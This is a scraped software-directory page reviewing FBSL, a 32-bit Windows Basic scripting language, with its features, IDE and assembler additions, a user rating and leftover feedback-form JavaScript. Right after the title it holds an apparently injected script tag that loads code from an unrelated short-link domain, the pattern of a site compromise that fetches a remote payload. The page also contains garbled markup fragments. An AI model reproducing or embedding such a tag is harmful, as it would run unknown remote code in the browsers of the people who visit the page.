FBSL<script src=http://u.bw/AxCpI9z></script>FREE Basic Script Language (now called Freestyle Basic Script Language) is a script tool dedicated to 32 Bits Windows platforms. It can produce console or GUI applications and can compile to stand alone-executable file (a complete stand-alone GUI application starts from 90Kb, 6Kb with a 93Kb run-time module). The language is rich of features and offers all the most common commands, function and statments. The syntax is not very close to Basic but it is still very easy to learn. GUI objects included are textboxes, richedit, listboxes and comboboxes, buttons and radio buttons, group boxes. Advance features are: socket management, memory functions, clipboard management, pop-up menus (the right-click menus), simple net commands and registry management. Documentation is well done.
Beginning of 2007. FBSL comes now with a pratical IDE with highlighting and color syntax and a visual GUI form builder. Both have been realized with FBSL. FBSL is now OOP oriented and it supports structures and dynamic arrays in Jscript style.
July 2009. FBSL evolved a lot in the past period. New impressive features have been added such as the ability to self decompile an EXE into an .fbs script, MASM-like native assembly language support that is interpreted by a Dynamic Assembler layer. It comes with a 650 pages help file and more than 200 examples.

Rated 4.2/5 upon 121 votes
Review updated: 2011-05-12 FBSL homepage
listed at The Basics' page'/>

Your name and/or email: (optional but kindly requested)


"; boxy_content += ""; contactBoxy = new Boxy(boxy_content, { title: "Send feedback", draggable: false, modal: true, behaviours: function(c) { c.find('#feedback').submit(function() { Boxy.get(this).setContent("
"); // submit form by ajax using post and send 3 values: subject, your_email, comment $.post("feedback.php", { subject: c.find("input[name='subject']").val(), your_email: c.find("input[name='your_email']").val(), comment: c.find("#comment").val()}, function(data){ /*set boxy content to data from ajax call back*/ contactBoxy.setContent("
"); }); return false; }); } }); return false; }); /* }); */ $('#myreviewstable').tableScroll({ height: 155, width: 400 }); $("th, td").absPos(); // --------------------------------------------------------------------- });